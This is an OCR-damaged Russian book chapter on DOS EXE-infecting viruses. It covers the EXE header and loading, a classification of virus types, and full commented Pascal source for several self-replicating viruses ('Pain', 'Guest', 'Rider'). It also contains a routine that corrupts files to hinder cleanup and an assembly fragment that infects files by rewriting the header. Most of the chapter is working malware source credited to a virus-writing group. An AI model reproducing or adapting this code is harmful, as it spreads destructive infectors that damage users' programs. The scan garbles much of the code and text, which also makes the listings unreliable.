Exe-вирусы
ЕХЕ-ВИРУСЫ
В этой главе рассказано о
ви-
русах, заражающих ЕХЕ-фай-
лы.
Приведена классифика-
ция таких
вирусов, подробно
рассмотрены алгоритмы
их
работы, отличия между
ними,
достоинства и недо-
статки. Для каждого
типа
вирусов представлены исход-
ные
тексты с подробными
комментариями.
Также приве- .
дены основные сведения
о
структуре и принципах ра-
боты
ЕХЕ-программы.
СОМ-файлы (небольшие программы,
написанные в основном на языке
Assembler)
медленно, но верно устаревают. Им на
смену приходят пуга-
ющие своими
размерами ЕХЕ-"монстры". Появились
и вирусы, умею-
щие заражать ЕХЕ-файлы.
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ,
ЕХЕ-программы могут состоять из
не-
скольких сегментов (кодов, данных,
стека). Они могут занимать боль-
ше
64Кбайт.
ЕХЕ-файл имеет заголовок, который
используется при его загрузке.
Заголовок
состоит из форматированной части,
содержащей сигнатуру
и данные,
необходимые для загрузки ЕХЕ-файла, и
таблицы для на-
стройки адресов
(Relocation Table). Таблица состоит из значений
в фор-
мате сегмент:смещение. К смещениям
в загрузочном модуле, на которые
указывают
значения в таблице, после загрузки
программы в память дол-
жен быть
прибавлен сегментный адрес, с которого
загружена программа.
При запуске ЕХЕ-программы
системным загрузчиком (вызовом функ-
ции
DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес
свободного участка памяти, размер
которого
достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа).
В поля PSP заносятся соответ-
ствующие
значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика
считывается форматированная часть
заголовка
ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7. Определяется смещение
загрузочного модуля в файле,
равное
HdrSize*16.
8. Вычисляется сегментный адрес
(START_SEG) для загрузки -
обычно это PSP+lOh.
9. Считывается в память загрузочный
модуль (начиная с адреса
START_SEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELO_SEG:I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11. Распределяется память для
программы в соответствии с МахМет
и
МтМет.
12. Инициализируются регистры, выполняется программа:
a) ES=DS°PSP;
b) АХ=результат проверки правильности
идентификаторов драйве-
ров, указанных
в командной строке;
c) SS°START_SEG+ReloSS, SP-ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
Классификация ЕХЕ-вирусов
ЕХЕ-вирусы условно можно разделить
на группы, используя в качестве
признака
для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом.
Главный их недостаток - слишком
грубая
работа. Инфицированные программы не
исполняются, так как
вирус записывается
поверх программного кода, не сохраняя
его. При
запуске вирус ищет очередную
жертву (или жертвы), открывает найден-
ный
файл для редактирования и записывает
свое тело в начало про-
граммы, не
сохраняя оригинальный код. Инфицированные
этими виру-
сами программы лечению не
подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу
создается файл-спутник. Рассмот-
рим
более подробно два типа вирусов этой
группы:
Вирусы первого типа размножается
следующим образом. Для каждого
ин-
фицируемого ЕХЕ-файла в том же
каталоге создается файл с вирусным
кодом, имеющий такое же имя, что
и ЕХЕ-файл, но с расширением
СОМ. Вирус
активируется, если при запуске программы
в командной
строке указано только имя
исполняемого файла. Дело в том, что,
если
не указано расширение файла, DOS
сначала ищет в текущем каталоге
файл
с заданным именем и расширением СОМ.
Если СОМ-файл с та-
ким именем не найден,
ведется поиск одноименного ЕХЕ-файла.
Если
не найден и ЕХЕ-файл, DOS попробует
обнаружить ВАТ (пакетный)
файл. В случае
отсутствия в текущем каталоге исполняемого
файла
с указанным именем поиск ведется
во всех каталогах, доступных
по
переменной PATH. Другими словами, когда
пользователь хочет за-
пустить программу
и набирает в командной строке только
ее имя
(в основном так все и делают),
первым управление получает вирус,
код
которого находится в СОМ-файле. Он
создает СОМ-файл еще
к одному или
нескольким ЕХЕ-файлам (распространяется),
а затем
исполняет ЕХЕ-файл с указанным
в командной строке именем. Поль-
зователь
же думает, что работает только запущенная
ЕХЕ-программа.
Вирус-спутник обезвредить
довольно просто - достаточно
удалить
СОМ-файл.
Вирусы второго типа действуют
более тонко. Имя инфицируемого
ЕХЕ-файла
остается прежним, а расширение заменяется
каким-либо
другим, отличным от
исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл
может получить расширение DAT (файл
данных) или OVL (про-
граммный оверлей).
Затем на место ЕХЕ-файла копируется
вирусный
код. При запуске такой
инфицированной программы управление
полу-
чает вирусный код, находящийся
в ЕХЕ-файле. Инфицировав еще один
или
несколько ЕХЕ-файлов таким же образом,
вирус возвращает ориги-
нальному файлу
исполняемое расширение (но не ЁХЕ, а
СОМ, по-
скольку ЕХЕ-файл с таким именем
занят вирусом), после чего испол-
няет
его. Когда работа инфицированной
программы закончена, ее
запускаемому
файлу возвращается расширение
неисполняемого. Лече-
ние файлов,
зараженных вирусом этого типа, может
быть затруднено,
если вирус-спутник
шифрует часть или все тело инфицируемого
файла,
а перед исполнением его
расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные:
их код записывается в инфици-
руемую
программу, что существенно затрудняет
лечение зараженных
файлов. Рассмотрим
методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.
Способы заражения ЕХЕ-файлов
Самый распространенный способ
заражения ЕХЕ-файлов такой: в конец
файла
дописывается тело вируса, а заголовок
корректируется (с сохране-
нием
оригинального) так, чтобы при запуске
инфицированного файла
управление
получал вирус. Похоже на заражение
СОМ-файлов, но вмес-
то задания в коде
перехода в начало вируса корректируется
собственно
адрес точки запуска
программы. После окончания работы вирус
берет из
сохраненного заголовка
оригинальный адрес запуска программы,
прибав-
ляет к его сегментной компоненте
значение регистра DS или ES (полу-
ченное
при старте вируса) и передает управление
на полученный адрес.
Следующий способ - внедрение
вируса в начало файла со сдвигом
кода
программы. Механизм заражения
такой: тело инфицируемой программы
считывается
в память, на ее место записывается
вирусный код, а после
него - код
инфицируемой программы. Таким образом,
код программы
как бы "сдвигается"
в файле на длину кода вируса. Отсюда и
название
способа - "способ сдвига".
При запуске инфицированного файла
вирус
заражает еще один или несколько
файлов. После этого он считывает
в
память код программы, записывает его в
специально созданный на
диске временный
файл с расширением исполняемого файла
(СОМ или
ЕХЕ), и затем исполняет этот
файл. Когда программа закончила рабо-
ту,
временный файл удаляется. Если при
создании вируса не применя-
лось
дополнительных приемов защиты, то
вылечить инфицированный
файл очень
просто - достаточно удалить код вируса
в начале файла,
и программа снова будет
работоспособной. Недостаток этого
метода
в том, что приходится считывать
в память весь код инфицируемой про-
граммы
(а ведь бывают экземпляры размером
больше 1Мбайт).
Следующий способ заражения
файлов - метод переноса - по всей
ви-
димости, является самым совершенным
из всех перечисленных. Вирус
размножается
следующим образом: при запуске
инфицированной про-
граммы тело вируса
из нее считывается в память. Затем
ведется поиск
неинфицированной
программы. В память считывается ее
начало,
по длине равное телу вируса.
На это место записывается тело
вируса.
Начало программы из памяти
дописывается в конец файла. Отсюда
на-
звание метода - "метод переноса".
После того, как вирус инфицировал
один
или несколько файлов, он приступает к
исполнению программы,
из которой
запустился. Для этого он считывает
начало инфицирован-
ной программы,
сохраненное в конце файла, и записывает
его в начало
файла, восстанавливая
работоспособность программы. Затем
вирус уда-
ляет код начала программы
из конца файла, восстанавливая
оригиналь-
ную длину файла, и исполняет
программу. После завершения програм-
мы
вирус вновь записывает свой код в начало
файла, а оригинальное
начало программы
- в конец. Этим методом могут быть
инфицированы
даже антивирусы, которые
проверяют свой код на целостность, так
как
запускаемая вирусом программа
имеет в точности такой же код, как
и до инфицирования.
Вирусы, замещающие программный
код
(Overwrite)
Как уже говорилось, этот вид
вирусов уже давно мертв. Изредка
появ-
ляются еще такие вирусы, созданные
на языке Assembler, но это, скорее,
соревнование
в написании самого маленького
overwrite-вируса. На дан-
ный момент самый
маленький из известных overwrite-вирусов
написан
Reminder'ом (Death Virii Crew group) и занимает
22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно
заразить от одного до всех фай-
лов в
каталоге или на диске).
11. Выдать на экран какое-либо
сообщение об ошибке, например
"Abnormal
program termination" или "Not enough memory", -
пусть
пользователь не слишком удивляется
тому, что программа не запу-
стилась.
12. Завершить программу.
Ниже приведен листинг программы,
заражающей файлы таким
способом.
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе
при компиляции)}
Uses DOS;
Const
(Имя вируса}
VirName='Pain';
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции
ЕХЕ-файла}
VirLen=4208;
Author='Dirty Nazi/SGWW.';
{Количество заражаемых за один
сеанс работы файлов}
lnfCount=2;
Var
{Массив для определения наличия
копии вируса в найденном файле}
Virldentifier:
Array [1.5] of Char;
{Файловая переменная для работы
с файлами}
VirBody: File;
(Еще одна файловая переменная -
хотя без нее можно было
обойтись, так
будет понятнее)
Target: File;
{Для имени найденного
файла)
TargetFile: PathStr;
(Буфер для тела вируса)
VirBuf :
Array [-I.VirLen] of Char;
(Для даты/времени файла)
Time :
Longint;
(Счетчик количества инфицированных
файлов)
InfFiles : Byte;
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure Init;
begin
LabelBuf [1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества
инфицированных файлов}
lnfFiles:=0;
(Связываем файловую переменную
VirBody с именем программы.
из которой
стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1
байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса
в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
Close(VirBody);
end;
(Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False,
если еще нет}
function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса
нет}
VirusPresent:=False;
(Открываем найденный
файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела
вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт - если файл уже
заражен,
там находится метка
вируса}
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и
вирус}
VirusPresent:=True;
end;
(Процедура заражения}
procedure
InfectFile;
begin
{Если размер найденного файла
меньше, чем длина вируса
плюс 100 байт,
то выходим из процедуры}
If Sr.Size <
VirLen+100 Then Exit;
{Если найденная программа еще
не заражена, инфицируем ее}
If Not
VirusPresent Then
begin
{Запомним дату и время файла.
Атрибуты запоминать не надо,
так как
поиск ведется среди файлов с атрибутом
Archive, а этот
атрибут устанавливается
на файл после сохранения в любом
случае}
Time:=Sr.Time;
{Открываем для заражения}
Assign(Target,
TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало
файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей
позиции
на длину вируса от начала
файла}
Seek(Target, VirLen);
{Вписываем метку
заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время
файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных
файлов}
Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы
по маске *.ЕХЕ
с атрибутами
Archive}
FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
(Запоминаем имя найденного файла
в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру
заражения}
InfectFile;
{Если заразили InfCount файлов,
завершаем поиск}
If InfFiles > InfCount Then
Exit;
{Ищем следующий файл по
маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
(Инициализируемся}
hit;
{Ищем жертвы и заражаем
их}
FindTarget;
{Выдаем на экран сообщение об
ошибке}
WriteLn('Abnormal program termination.');
{Это чтобы компилятор вставил в
код константы VirName
и Author, условие же
поставлено таким образом,
что эти
строки никогда не будут выведены на
экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко
распространены - соотношение
companion и
parasitic вирусов примерно один к двум.
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода - не трогая
"чужого кота" (ЕХЕ-программу),
со-
здать "своего" - СОМ-файл с
именем ЕХЕ-программы. Алгоритм рабо-
ты
такого вируса предельно прост, так как
отпадает необходимость
лишних действий
(например, сохранения в теле вируса
длины откомпи-
лированного ЕХЕ-файла
с вирусным кодом, считывания в буфер
тела
вируса, запуска файла, из которого
вирус получил управление). Неза-
чем
даже хранить метку для определения
инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны
параметры, сохранить их в пере-
менную
типа String для передачи инфицированной
программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли
в каталоге с найденным ЕХЕ-фай-
лом
СОМ-файл с таким же именем, как у
файла-жертвы.
4. Если такой СОМ-файл присутствует,
файл уже заражен, переходим
к пункту
6.
5. С помощью командного процессора
скопировать файл, из которого
получено
управление, в файл с именем жертвы и
расширением СОМ.
6. Процедурой Ехес загрузить и
выполнить файл с именем стартового,
но
с расширением ЕХЕ - то есть выполнить
инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг
показывает заражение файлов этим
методом.
($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-}
{$!-}
f$L-(
{$N-)
{$S-}
<$V-}
{$X+}
(Используются модули DOS и System
(модуль System автоматически
подключается
к каждой программе при компиляции)}
Uses
DOS;
Const
{Имя вируса)
VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один
сеанс работы файлов}
lnfCount=2;
Var
{Для имени найденного
файла)
TargetFile : PathStr;
{Для создания копии}
TargetCOM :
PathStr;
(Счетчик количества заражений}
InfFiles
: Byte;
Dirlnfo : SearchRec;
{Для сохранения параметров
командной строки}
Parms : String;
(Для цикла For}
I: Byte;
(Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если
найденная программа уже заражена,
и
False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса
здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем
найденной программы,
но с расширением
СОМ}
AssignHarget, TargetCOM);
ResetHarget, 1);
{Если не было ошибок при
открытии,
программа уже инфицирована
этим вирусом}
If IOResult=0
Then
begin
VirusPresent:=True;
{Открыли - закроем}
Close(Target);
end;
end;
{Собственно процедура
заражения}
procedure InfectFile;
begin
{Если найденная программа еще
не заражена, инфицируем ее}
If Not
VirusPresent Then
begin
{С помощью командного
процессора
копируем вирусный код в
СОМ-файл}
Swap Vectors;
Exec(GetEnv('COMSPEC'),7C COPY /B
'+ParamStr(0)+'
'+TargetCOM+' >NUL');
Swap Vectors;
(Увеличиваем на единицу счетчик
инфицированных файлов}
Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы
по маске *.ЕХЕ
с атрибутами
Archive}
FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем имя найденного файла
в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру
заражения}
InfectFile;
{Если заразили InfCount файлов,
завершаем поиск}
If InfFiles > InfCount Then
Exit;
{Ищем следующий файл по
маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=' ';
{Запоминаем параметры командной
строки}
If ParamCount <> 0 Then
For l:=1 To
ParamCount Do
Parms:=Parms+' '+ParamStr(l);
{Ищем жертвы и заражаем
их}
FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем файл с именем стартового
файла, но с расширением ЕХЕ}
FindFirst(TargetFile,
AnyRle, Dirlnfo);
{Если такой файл найден, запускаем
его на выполнение)
If DosError=0 Then
begin
Swap
Vectors;
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,
не
внося в программу изменений)
begin
WriteLn(#13#10,
VirName, ' by '.Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих
вирусов и их "коллег",
создающих
файл-спутник, не так уж
много. Но, по всей видимости, заражение
ме-
тодом переименования несколько
совершеннее - для излечения от ви-
руса
нужно не просто удалить СОМ-файл с кодом
вируса, а немного
помучаться и разыскать,
во что же переименован ЕХЕ-файл с
инфици-
рованной программой.
1. Если в командной строке указаны
параметры, сохранить их в пере-
менную
типа String для передачи инфицированной
программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли
в каталоге с найденным ЕХЕ-фай-
лом-жертвой
файл с таким же именем и с расширением,
которое
выбрано для инфицированной
программы (например, OVL - про-
граммный
оверлей).
4. Если такой файл присутствует,
программа уже инфицирована - пе-
реходим
к пункту 7.
5. Переименовать найденный
файл-жертву (ЕХЕ) в файл с таким же
име-
нем, но с расширением, выбранным
для инфицированной программы.
6. С помощью командного процессора
скопировать файл, из которого по-
лучено
управление, в файл с именем жертвы и
расширением жертвы.
7. Найти в каталоге, из которого
получено управление, файл с именем
стартовой
программы, но с расширением, выбранным
для инфици-
рованной - это и будет
зараженная программа, которую в
данный
момент необходимо запустить
на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного
файла на СОМ (ни в коем случае не
на
ЕХЕ, ведь в ЕХЕ-файле с таким именем
находится вирусный код!).
10. Процедурой Ехес загрузить и
выполнить переименованный файл -
то
есть выполнить инфицированную программу.
11. Вернуть СОМ-файлу с инфицированной
программой выбранное
расширение, то
есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг
которого приведен ниже. Вирус Rider
написан
очень просто и доступно. За сеанс работы
он заражает один
ЕХЕ-файл в текущем
каталоге. Сам процесс заражения также
весьма
прост: файл-жертва переписывается
в файл с расширением OVL (овер-
лейный
файл), а на его место с помощью командного
процессора копи-
руется вирусный код.
При запуске происходит заражение только
что
найденного ЕХЕ-файла, затем вирусный
код переименовывается
в OWL, a OVL - в ЕХЕ,
после чего оригинал запускается на
исполне-
ние. Когда оригинал отработал,
происходит переименование в
обратном
порядке. С защищенного от
записи диска программа не запустится,
она
выдаст сообщение, что диск защищен
от записи.
В представленном здесь виде
вирус легко обезвредить, достаточно
про-
сто переименовать OVL-файл обратно
в ЕХЕ. Но, чтобы усложнить ле-
чение, в
вирусе может быть использован такой
прием:
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры
надо учитывать, что заражаемая
и
запускаемая на исполнение программа
должна быть связана с пере-
менной
Prog типа File, описанной в основном модуле.
Суть процедуры
состоит в том, что из
заражаемой программы считываются 10
байт и ко-
дируются операцией Not.
ЕХЕ-программа становится неработоспособ-
ной.
Запускать эту процедуру нужно не только
перед прогоном ориги-
нала, но и после
него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High
Heap Limit Ob }
{Используются модули DOS и System
(модуль System автоматически
подключается
к каждой программе при компиляции)}
Uses
DOS;
Const
Fail='Cannot execute '^13#10'Disk is
write-protected';
{Расширения файлов, которые будем
использовать}
Ovr='.OWL';
Ovl='.OVL';
Ехе=.ЕХЕ';
Var
Dirlnfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура для проверки диска
на Read Only)
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult <> 0 Then
{Если диск защищен от записи, то ответ 'Access denied'}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура прогонки
оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl,
AnyFile, Dirlnfo);
If DosError <> 0 Then
(Если не нашли}
begin
WriteLn('Virus RIDER. Let's go on riding!');
WriteLn('l beg your pardon, your infected file cannot be executed.');
(Выход с DosError=<t>ann не
найден)
Halt(18);
end;
{Переименовываем программу в
OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в
ЕХЕ}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
(И запускаем его}
Swap Vectors;
Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);
Swap Vectors;
{А теперь возвращаем все на
место)
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
(Процедура заражения}
procedure
Infect;
begin
{Переименовываем жертву в
OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место
жертвы}
SwapVectors;
Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');
SwapVectors;
end;
{Процедура поиска жертвы}
procedure
FindFile;
begin
{В текущем каталоге ищем
ЕХЕ-файл}
FindFirst('*EXE', AnyFile, Dirlnfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя
жертвы}
Victim:=Dirlnfo.Name;
{Запоминаем имя без
расширения}
VictimName:=Copy(Victim, 1,
Length(Victim)-4);
{Ищем оверлей с тем же
именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации
переменных}
procedure I nit;
begin
(Командная строка}
CmdLine:=";
{Полное имя нашей
программы}
OurProg:=ParamStr(0);
{Имя нашей программы без
расширения}
OurName:=Copy(ParamStr(0), 1,
Length(ParamStr(0))-4);
For l:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(l)+'
';
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ' ');
end;
{Инициализируемся}
Init;
(Проверка диска на R/О}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми
"хитрыми". Поскольку такой вирус
вне-
дряется в инфицируемую программу,
это дает ему много преимуществ
перед
всеми вышеописанными вирусами: на диске
не появляются лиш-
ние файлы, нет забот
с копированием и переименованием, кроме
того,
усложняется лечение инфицированных
файлов.
Стандартное заражение ЕХЕ-файлов
Стандартное заражение - заражение,
при котором вирус внедряется
в конец
файла, изменяя заголовок так, чтобы
после загрузки файла уп-
равление
получил вирус. Принципиально действие
такого вируса мало
отличается от
действия рассмотренного СОМ-вируса.
Чтобы выяснить
способы работы с
ЕХЕ-файлами, рассмотрим следующий
фрагмент про-
граммы:
;Читаем заголовок ЕХЕ-файла
(точнее, только первые 18h байт,
;которых
вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21 h
Останавливаем в SI адрес считанного
заголовка. В дальнейшем
;будем обращаться
к заголовку, используя Sl+смещение
элемента
mov si,offset EXEHeader
[Получаем реальную длину файла,
переместив указатель текущей
;позиции
чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину
файла
mov Reallen.dx
mov Reallen+2,ax
;Так как речь идет о стандартной
процедуре заражения, нужно
;помнить,
что все вышесказанное не должно
затрагивать
оверлейные файлы. Их
длина, указанная в заголовке,
.-меньше
реальной, то есть эти файлы загружаются
;в
память не полностью.
Следовательно, если заразить
такой файл, вирус попадет
;в незагружаемую
часть.
Сохраним в стеке реальную длину
ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в
512-байтных страницах и остаток
CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ
находится число страниц
;(в каждой
странице содержится 512 байт),
;а в
регистре DX - остаток, образующий
;еще одну (неучтенную)
страницу.
.Добавим эту страницу к
общему числу страниц -
;если остаток
не равен нулю, то
.увеличим число
страниц
or dx.dx
jz m1
inc ax
m1:
.Будем считать пригодным для
заражения
.стандартным способом файлы
с длиной,
;полностью совпадающей с
указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть
управление
;зараженной программе,
сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из
заголовка ЕХЕ-файла.
.Значения констант,
используемых в программе,
.равны
смещению соответствующего
;элемента
в заголовке ЕХЕ-файла (Приложение
А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
.Восстановим из стека реальную
длину файла
;В данном случае она
совпадает с длиной, указанной в заголовке
pop ax
pop dx
.Рассчитаем длину программы с
вирусом, для чего прибавим
;к длине
файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
adc dx.0
рассчитаем получившуюся длину
(одна страница - 512 байт)
;и остаток в
последней странице (так же,
;как
рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc ax
NewJen:
;Внесем в заголовок новую длину
файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину
файла.
;По ней будем рассчитывать
новую
;точку входа в программу (адрес
запуска)
Eval_new_entry:
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили число параграфов (AX) и
остаток (DX - смещение
;вируса в последнем
параграфе).
;0тнимем от числа параграфов
в файле число
.параграфов в заголовке
- получим сегмент входа в ЕХЕ-файл
sub>
ax,[si+HdrSize]
;3апишем новую точку входа в
заголовок
mov [si+ReloCS],ax
mov [si+ExelP],dx
.Замечание: можно было округлить
полученное число,
;и вирус начинался
бы с OOOOh.
;Но этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.'Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл,
не забыв и тело вируса.
; Рекомендуется
писать сначала тело, а потом заголовок.
;Если
тело вдруг не допишется,
;то файл
испортим зря
UpdateRle:
;3апишем тело вируса
WriteBody:
.-Установим указатель чтения/записи
в конец файла
mov bx,Handle
хог сх,сх
xor
dx.dx
mov ax,4202h
int 21 h
.Запишем тело вируса в файл
mov
ah,40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h
;3апишем заголовок
WriteHeader:
;Установим указатель чтения/записи
в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус "поселился" в
ЕХЕ-файле. А как после окончания
работы
вируса передать управление
инфицированной программе? Вот процеду-
ра
выхода из вируса:
CureEXE:
StackBack:
-.Установим первоначальный
указатель (сегмент и смещение) стека
mov
ax.ds
-.Прибавим ООЮп, после чего в АХ
будет
;находится сегмент, с
которого
;загружен программный
модуль
add ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по
аналогии
OldSS dw ? ;это значение было
установлено
;при заражении
;3апретим прерывания, так как со
стеком нельзя работать,
;пока и сегмент,
и смещение не установлены в нужное
значение
cli
-.Установим сегмент стека
